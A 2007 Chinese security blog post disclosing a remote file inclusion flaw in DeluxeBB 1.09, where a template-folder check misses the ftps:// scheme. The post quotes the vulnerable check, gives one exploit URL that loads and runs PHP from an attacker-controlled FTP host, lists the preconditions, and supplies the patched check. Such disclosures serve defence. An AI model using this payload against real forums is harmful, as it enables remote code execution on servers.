公布一个deluxebb的漏洞<原创>
上一篇 /
下一篇 2007-06-09 04:25:18
/ 个人分类:安全
声明:本漏洞为本人独立发现;转载请注明出处,谢谢合作!
前段时候为准备一个攻防比赛,分析了deluxebb 1.09的源代码,发现了一个php的远程文件包含漏洞,公布出来与大家共享.多个文件中都有这样的漏洞;主要是在作检查的时候不严格;漏掉了对ftps://的检查;有漏洞的文件主要有templates/deluxe/ 和 templates/default 下的:posting.php,postrelay.php 和其它一些文件(我就不全写出来了,需要知道的话自己写个小的SHELL脚本查找一下吧:));漏洞的成因都是一样的,其中的检查代码如下:
<?php if(stristr($templatefolder, 'http://') || stristr($templatefolder, 'https://') || stristr($templatefolder, 'ftp://') || stristr($templatefolder, '.ext')) { exit(); } ?>
可以看出,并没有对ftps:作检查,那么就可以通过本应用ftp提交的URL,修改成提交ftps://的形式
一个测试的例子;
http://192.168.5.64/templates/deluxe/posting.php?templatefolder=ftps://192.168.5.66;
在192.168.5.66的FTP根目录下放一下名为posticons.php的文件,通过提交上述URL,会发现这个PHP文件中的代码已经成功执行;
这个漏洞的利用条件要求php.ini中 'register_globals = On' 和 'allown_url_fopen=on';利用的条件不容易满足.
漏洞修改的方法也非常的简单,在上述的检查代码中增加对ftps://的检查就可以了;修改成为:
<?php if(stristr($templatefolder, 'http://') || stristr($templatefolder, 'https://') || stristr($templatefolder, 'ftp://') || stristr($templatefolder, '.ext')||stristr($templatefolder, 'ftps://')) { exit(); } ?>
就可以了.哈哈原本作者在这里已经考虑到了远程文件包含的问题,但把ftps给忽略了;
在公布这个漏洞之前的几天,我已经向开发这个论坛的开发者发送了BUG报告,希望大家不要利用这个发现做任何破坏,否则后果自负;
也希望相关论坛的管理员及时修复这个漏洞,谢谢了;
导入论坛
收藏
分享给好友
管理
举报
TAG: